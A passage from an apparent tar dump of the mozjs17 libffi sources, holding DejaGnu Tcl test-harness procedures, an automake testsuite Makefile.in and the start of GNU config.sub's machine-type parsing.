"dg-skip-if 2: need 2, 3, or 4 arguments" } # Don't bother if we're already skipping the test. upvar dg-do-what dg-do-what if { [lindex ${dg-do-what} 1] == "N" } { return } set selector [list target [lindex $args 1]] if { [dg-process-target $selector] == "S" } { if [check-flags $args] { upvar dg-do-what dg-do-what set dg-do-what [list [lindex ${dg-do-what} 0] "N" "P"] } } } # We need to make sure that additional_files and additional_sources # are both cleared out after every test. It is not enough to clear # them out *before* the next test run because gcc-target-compile gets # run directly from some .exp files (outside of any test). (Those # uses should eventually be eliminated.) # Because the DG framework doesn't provide a hook that is run at the # end of a test, we must replace dg-test with a wrapper. if { [info procs saved-dg-test] == [list] } { rename dg-test saved-dg-test proc dg-test { args } { global additional_files global additional_sources global errorInfo if { [ catch { eval saved-dg-test $args } errmsg ] } { set saved_info $errorInfo set additional_files "" set additional_sources "" error $errmsg $saved_info } set additional_files "" set additional_sources "" } } # Local Variables: # tcl-indent-level:4 # End: mozjs17.0.0/js/src/ctypes/libffi/testsuite/lib/wrapper.exp0000664000175000017500000000352512106270662023547 0ustar sstanglsstangl# Copyright (C) 2004, 2007 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GCC; see the file COPYING3. If not see # . # This file contains GCC-specifics for status wrappers for test programs. # ${tool}_maybe_build_wrapper -- Build wrapper object if the target # needs it. FILENAME is the path to the wrapper file. If there are # additional arguments, they are command-line options to provide to # the compiler when compiling FILENAME. proc ${tool}_maybe_build_wrapper { filename args } { global gluefile wrap_flags if { [target_info needs_status_wrapper] != "" \ && [target_info needs_status_wrapper] != "0" \ && ![info exists gluefile] } { set saved_wrap_compile_flags [target_info wrap_compile_flags] set flags [join $args " "] # The wrapper code may contain code that gcc objects on. This # became true for dejagnu-1.4.4. The set of warnings and code # that gcc objects on may change, so just make sure -w is always # passed to turn off all warnings. set_currtarget_info wrap_compile_flags \ "$saved_wrap_compile_flags -w $flags" set result [build_wrapper $filename] set_currtarget_info wrap_compile_flags "$saved_wrap_compile_flags" if { $result != "" } { set gluefile [lindex $result 0] set wrap_flags [lindex $result 1] } } } mozjs17.0.0/js/src/ctypes/libffi/testsuite/Makefile.in0000664000175000017500000003626112106270662022653 0ustar sstanglsstangl# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ subdir = testsuite DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/fficonfig.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = SOURCES = DIST_SOURCES = DEJATOOL = $(PACKAGE) RUNTESTDEFAULTFLAGS = --tool $$tool --srcdir $$srcdir DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ ALLOCA = @ALLOCA@ AMTAR = @AMTAR@ AM_LTLDFLAGS = @AM_LTLDFLAGS@ AM_RUNTESTFLAGS = AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HAVE_LONG_DOUBLE = @HAVE_LONG_DOUBLE@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ TARGET = @TARGET@ TARGETDIR = @TARGETDIR@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ toolexecdir = @toolexecdir@ toolexeclibdir = @toolexeclibdir@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = foreign dejagnu # Setup the testing framework, if you have one EXPECT = `if [ -f $(top_builddir)/../expect/expect ] ; then \ echo $(top_builddir)/../expect/expect ; \ else echo expect ; fi` RUNTEST = `if [ -f $(top_srcdir)/../dejagnu/runtest ] ; then \ echo $(top_srcdir)/../dejagnu/runtest ; \ else echo runtest; fi` CLEANFILES = *.exe core* *.log *.sum EXTRA_DIST = libffi.special/special.exp \ libffi.special/unwindtest_ffi_call.cc libffi.special/unwindtest.cc \ libffi.special/ffitestcxx.h config/default.exp lib/target-libpath.exp \ lib/libffi-dg.exp lib/wrapper.exp libffi.call/float.c \ libffi.call/cls_multi_schar.c libffi.call/float3.c \ libffi.call/cls_3_1byte.c libffi.call/stret_large2.c \ libffi.call/cls_5_1_byte.c libffi.call/stret_medium.c \ libffi.call/promotion.c libffi.call/cls_dbls_struct.c \ libffi.call/nested_struct.c libffi.call/closure_fn1.c \ libffi.call/cls_4_1byte.c libffi.call/cls_float.c \ libffi.call/cls_2byte.c libffi.call/closure_fn4.c \ libffi.call/return_fl2.c libffi.call/nested_struct7.c \ libffi.call/cls_uint.c libffi.call/cls_align_sint64.c \ libffi.call/float1.c libffi.call/cls_19byte.c \ libffi.call/nested_struct1.c libffi.call/cls_4byte.c \ libffi.call/return_fl1.c libffi.call/cls_align_pointer.c \ libffi.call/nested_struct4.c libffi.call/nested_struct3.c \ libffi.call/struct7.c libffi.call/nested_struct9.c \ libffi.call/cls_sshort.c libffi.call/cls_ulonglong.c \ libffi.call/cls_pointer_stack.c libffi.call/cls_multi_uchar.c \ libffi.call/testclosure.c libffi.call/cls_3byte1.c \ libffi.call/struct6.c libffi.call/return_uc.c libffi.call/return_ll1.c \ libffi.call/cls_ushort.c libffi.call/stret_medium2.c \ libffi.call/cls_multi_ushortchar.c libffi.call/return_dbl2.c \ libffi.call/closure_loc_fn0.c libffi.call/return_sc.c \ libffi.call/nested_struct8.c libffi.call/cls_7_1_byte.c \ libffi.call/return_ll.c libffi.call/cls_pointer.c \ libffi.call/err_bad_abi.c libffi.call/return_dbl1.c \ libffi.call/call.exp libffi.call/ffitest.h libffi.call/strlen.c \ libffi.call/return_sl.c libffi.call/cls_1_1byte.c \ libffi.call/struct1.c libffi.call/cls_64byte.c libffi.call/return_ul.c \ libffi.call/cls_double.c libffi.call/many_win32.c \ libffi.call/cls_16byte.c libffi.call/cls_align_double.c \ libffi.call/cls_align_uint16.c libffi.call/cls_9byte1.c \ libffi.call/cls_multi_sshortchar.c libffi.call/cls_multi_ushort.c \ libffi.call/closure_stdcall.c libffi.call/return_fl.c \ libffi.call/strlen_win32.c libffi.call/return_ldl.c \ libffi.call/cls_align_float.c libffi.call/struct3.c \ libffi.call/cls_uchar.c libffi.call/cls_sint.c libffi.call/float2.c \ libffi.call/cls_align_longdouble_split.c \ libffi.call/cls_longdouble_va.c libffi.call/cls_multi_sshort.c \ libffi.call/stret_large.c libffi.call/cls_align_sint16.c \ libffi.call/nested_struct6.c libffi.call/cls_5byte.c \ libffi.call/return_dbl.c libffi.call/cls_20byte.c \ libffi.call/cls_8byte.c libffi.call/pyobjc-tc.c \ libffi.call/cls_24byte.c libffi.call/cls_align_longdouble_split2.c \ libffi.call/cls_6_1_byte.c libffi.call/cls_schar.c \ libffi.call/cls_18byte.c libffi.call/closure_fn3.c \ libffi.call/err_bad_typedef.c libffi.call/closure_fn2.c \ libffi.call/struct2.c libffi.call/cls_3byte2.c \ libffi.call/cls_align_longdouble.c libffi.call/cls_20byte1.c \ libffi.call/return_fl3.c libffi.call/cls_align_uint32.c \ libffi.call/problem1.c libffi.call/float4.c \ libffi.call/cls_align_uint64.c libffi.call/struct9.c \ libffi.call/closure_fn5.c libffi.call/cls_align_sint32.c \ libffi.call/closure_fn0.c libffi.call/closure_fn6.c \ libffi.call/struct4.c libffi.call/nested_struct2.c \ libffi.call/cls_6byte.c libffi.call/cls_7byte.c libffi.call/many.c \ libffi.call/struct8.c libffi.call/negint.c libffi.call/struct5.c \ libffi.call/cls_12byte.c libffi.call/cls_double_va.c \ libffi.call/cls_longdouble.c libffi.call/cls_9byte2.c \ libffi.call/nested_struct10.c libffi.call/nested_struct5.c \ libffi.call/huge_struct.c all: all-am .SUFFIXES: $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign testsuite/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --foreign testsuite/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs tags: TAGS TAGS: ctags: CTAGS CTAGS: check-DEJAGNU: site.exp srcdir=`$(am__cd) $(srcdir) && pwd`; export srcdir; \ EXPECT=$(EXPECT); export EXPECT; \ runtest=$(RUNTEST); \ if $(SHELL) -c "$$runtest --version" > /dev/null 2>&1; then \ exit_status=0; l='$(DEJATOOL)'; for tool in $$l; do \ if $$runtest $(AM_RUNTESTFLAGS) $(RUNTESTDEFAULTFLAGS) $(RUNTESTFLAGS); \ then :; else exit_status=1; fi; \ done; \ else echo "WARNING: could not find \`runtest'" 1>&2; :;\ fi; \ exit $$exit_status site.exp: Makefile @echo 'Making a new site.exp file...' @echo '## these variables are automatically generated by make ##' >site.tmp @echo '# Do not edit here. If you wish to override these values' >>site.tmp @echo '# edit the last section' >>site.tmp @echo 'set srcdir $(srcdir)' >>site.tmp @echo "set objdir `pwd`" >>site.tmp @echo 'set build_alias "$(build_alias)"' >>site.tmp @echo 'set build_triplet $(build_triplet)' >>site.tmp @echo 'set host_alias "$(host_alias)"' >>site.tmp @echo 'set host_triplet $(host_triplet)' >>site.tmp @echo 'set target_alias "$(target_alias)"' >>site.tmp @echo 'set target_triplet $(target_triplet)' >>site.tmp @echo '## All variables above are generated by configure. Do Not Edit ##' >>site.tmp @test ! -f site.exp || \ sed '1,/^## All variables above are.*##/ d' site.exp >> site.tmp @-rm -f site.bak @test ! -f site.exp || mv site.exp site.bak @mv site.tmp site.exp distclean-DEJAGNU: -rm -f site.exp site.bak -l='$(DEJATOOL)'; for tool in $$l; do \ rm -f $$tool.sum $$tool.log; \ done distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am $(MAKE) $(AM_MAKEFLAGS) check-DEJAGNU check: check-am all-am: Makefile installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: -test -z "$(CLEANFILES)" || rm -f $(CLEANFILES) distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-DEJAGNU distclean-generic dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: check-am install-am install-strip .PHONY: all all-am check check-DEJAGNU check-am clean clean-generic \ clean-libtool distclean distclean-DEJAGNU distclean-generic \ distclean-libtool distdir dvi dvi-am html html-am info info-am \ install install-am install-data install-data-am install-dvi \ install-dvi-am install-exec install-exec-am install-html \ install-html-am install-info install-info-am install-man \ install-pdf install-pdf-am install-ps install-ps-am \ install-strip installcheck installcheck-am installdirs \ maintainer-clean maintainer-clean-generic mostlyclean \ mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ uninstall uninstall-am # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: mozjs17.0.0/js/src/ctypes/libffi/testsuite/config/0000775000175000017500000000000012106270662022043 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/testsuite/config/default.exp0000664000175000017500000000003012106270662024176 0ustar sstanglsstanglload_lib "standard.exp" mozjs17.0.0/js/src/ctypes/libffi/config.sub0000775000175000017500000010326012106270662020532 0ustar sstanglsstangl#! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 # Free Software Foundation, Inc. timestamp='2011-01-03' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA # 02110-1301, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted GNU ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit ;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \ uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \ kopensolaris*-gnu* | \ storm-chaos* | os2-emx* | rtmk-nova* | wince-winmo*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray | -microblaze) os= basic_machine=$1 ;; -bluegene*) os=-cnk ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco6) os=-sco5v6 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5v6*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \ | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fido | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | lm32 \ | m32c | m32r | m32rle | m68000 | m68k | m88k \ | maxq | mb | microblaze | mcore | mep | metag \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64octeon | mips64octeonel \ | mips64orion | mips64orionel \ | mips64r5900 | mips64r5900el \ | mips64vr | mips64vrel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mips64vr5900 | mips64vr5900el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | moxie \ | mt \ | msp430 \ | nios | nios2 \ | ns16k | ns32k \ | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ | score \ | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b | sparcv9v \ | spu | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ | we32k \ | x86 | xc16x | xscale | xscalee[bl] | xstormy16 | xtensa \ | z8k | z80) basic_machine=$basic_machine-unknown ;; m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; ms1) basic_machine=mt-unknown ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* | avr32-* \ | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fido-* | fr30-* | 